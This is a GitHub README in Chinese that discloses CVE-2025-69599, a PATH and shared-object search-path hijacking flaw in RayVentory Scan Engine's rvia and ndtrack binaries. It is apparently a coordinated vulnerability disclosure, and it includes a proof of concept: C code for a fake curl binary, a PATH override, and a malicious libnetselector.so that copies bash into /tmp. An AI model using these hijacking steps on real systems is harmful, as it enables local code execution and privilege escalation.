Wise-Security/CVE-2025-69599

GitHub: Wise-Security/CVE-2025-69599

Stars: 0 | Forks: 0

# CVE-2025-69599 - **作者:** Rafael José Núñez Gulías - **公司:** Iberian Var Group - **受影响产品:** RayVentory Scan Engine 12.6 Update 8 及先前版本 - **Raynet 公告:** [RSEC200965](https://support.raynet.de/hc/en-us/articles/46163220650644-RSEC200965-Uncontrolled-Search-Path-Element-CVE-2025-69599) Raynet 中的 `rvia` 存在 **不可控搜索路径元素 (Uncontrolled Search Path Element)** 漏洞。在加载共享对象和调用系统二进制文件(如 .so 和辅助二进制文件)时,程序使用相对路径进行调用,这使得用户可以通过篡改 PATH 环境变量来篡改最终执行的二进制文件或 .so 对象。 ![20251117223200.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251117223200.png) 在以下证据中,在 `/tmp` 目录中创建了一个名为 `curl` 的任意二进制文件。 ``` #include #include int main() { system("whoami"); return 0; } ``` ``` gcc curl.c -o curl # Compiling the binary ``` PATH 变量被更改,以便当 `rvia` 调用 `curl` 命令时,搜索的第一个目录是 `/tmp`。 ``` export PATH=/tmp:$PATH ``` 此后,对 `/opt/rvia/rvia getconfig` 的调用将使用我们被篡改的 `curl` 二进制文件。 ![20251209121335.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251209121335.png) 这同样适用于 `upload` 选项。 ![20251209121709.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251209121709.png) 在使用 `rvia inventory` 选项时也发现了同样的问题,该选项在底层调用了 `ndtrack` 二进制文件。`ndtrack` 二进制文件使用相对路径调用 `cat` 和 `sh` 命令。 ![20251117223833.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251117223833.png) ![20251224134109.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251224134109.png) 最后,还检测到 `ndtrack` 二进制文件使用相对路径包含 `.so 文件` 共享对象。 ![20251118093146.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251118093146.png) 在以下证据中,可以看到替换对 libnetselector.so 相对调用的步骤(也可以对 libuploader.so 执行相同的操作)。在这种情况下,创建了一个自定义共享对象,当执行此共享对象时,将在 `/tmp` 目录中创建 bash 的副本,命名为 `bash_so_hijack`。 以下是用于创建名为 libnetselector.so 的自定义共享对象的 C 代码 ``` #include #include #include #include void _init() { setuid(1001); setgid(1001); system("cp /bin/bash /tmp/bash_so_hijack"); } ``` ``` gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object ``` ![20251209131403.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251209131403.png) **需要注意的是,这仅在直接调用 `ndtrack` 时有效,因为当调用 `inventory` 选项时,会调用位于 `/opt/rvia` 名为 `ndtrack` 的 bash 脚本,该脚本在调用 `ndtrack` 二进制文件之前设置了 PATH 环境变量。** ![20251223190146.png](https://raw.githubusercontent.com/Wise-Security/CVE-2025-69599/main/img/20251223190146.png)
标签:Cutter, CVE-2025-69599, DLL侧加载, DLL劫持, IT资产管理, ndtrack, PATH注入, Raynet, RayVentory, RSEC200965, rvia, 二进制篡改, 任意代码执行, 企业资产管理, 共享对象注入, 协议分析, 安全公告, 未受控搜索路径元素, 本地提权, 权限提升, 环境变量劫持